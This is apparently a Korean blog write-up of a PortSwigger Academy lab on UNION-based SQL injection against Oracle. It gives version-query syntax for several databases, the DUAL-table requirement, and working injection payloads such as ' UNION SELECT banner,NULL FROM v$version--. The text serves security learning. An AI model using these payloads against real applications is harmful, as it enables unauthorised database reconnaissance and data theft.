Dork's port

SQL-injection - SQL injection attack, querying the database type and version on Oracle 본문

portswigger-academy

SQL-injection - SQL injection attack, querying the database type and version on Oracle

Dork94 2020. 7. 14. 16:18
  • DB의 버전을 출력하면 된다.

  • Portswigger의 cheat sheet를 보면, DB의 버전을 확일할 수 있는 방법은 다음과 같다

    • Oracle : SELECT banner FROM v$version, SELECT version FROM v$instance
    • Microsoft : SELECT @@version
    • PostgreSQL : SELECT version()
    • MySQL : SELECT @@version
  • 테이블의 필드 수를 알기 위해 ' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 까지 해보았는데 되지 않는다. 아마도 Oracle DB는 다른 방법을 써야하나 보다. 찾아보자.

  • On Oracle databases, every SELECT statement must specify a table to select FROM. If your UNION SELECT attack does not query from a table, you will still need to include the FROM keyword followed by a valid table name.

    There is a built-in table on Oracle called DUAL which you can use for this purpose. For example: UNION SELECT 'abc' FROM DUAL 이라고 페이지의 note가 되어있다. 요약하자면, Oracle에서 SELECT 를 사용하기 위해서는 무조건 FROM 키워드가 포함되어야 하며, Oracle에 기본적으로 있는 DUAL 테이블을 이용하면 된다고 한다.

  • ' UNION SELECT NULL,NULL FROM DUAL-- 으로 확인 한 결과 field는 2개가 존재하는 것을 알 수 있다.

  • 따라서, payload는 ' UNION SELECT banner,NULL FROM v$version-- 이라~ 이말씀.

Comments